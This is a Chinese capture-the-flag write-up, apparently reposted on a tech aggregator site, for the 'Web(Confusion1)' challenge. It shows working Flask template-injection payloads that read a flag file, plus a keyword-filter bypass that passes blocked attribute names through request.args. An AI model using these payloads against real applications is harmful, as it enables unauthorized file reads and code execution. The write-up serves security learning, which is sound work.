Web(Confusion1)

编程入门 行业动态 更新时间:2024-10-23 15:24:30

<a href=https://www.elefans.com/category/jswz/34/1770958.html style=Web(Confusion1)"/>

Web(Confusion1)

某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

题目场景:

(1)在登陆页面出现flag字段。

 本题目可能存在Python SSTI漏洞,类似于web(easytornado)。

SSTI知识:python-flask-ssti(模版注入漏洞)_新博客www.husins的博客-CSDN博客_flask注入

(2)测试是否存在模板注入。

(3) 构造常规的payload读取flag文件。

{{''.__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

读取失败,说明系统经过了过滤,经过尝试,发现系统过滤了常用的class、subclass、read等关键方法,但是并未过滤request。

request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。

所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。沙箱逃逸:SSTI/沙盒逃逸详细总结 - 安全客,安全资讯平台

将前面构造的payload,按照request.args置换之前会过滤的字段,以后遇到类似的情况,可以按照这个方法构造:{{request.args.a,request.args.b}}?a=xxxx&b=xxxxx

a=__class__

b=__mro__

c=__subclasses__

d=read

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

flag出现!!!!

更多推荐

Web(Confusion1)

本文发布于:2024-02-27 13:21:21,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1706700.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:Web

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!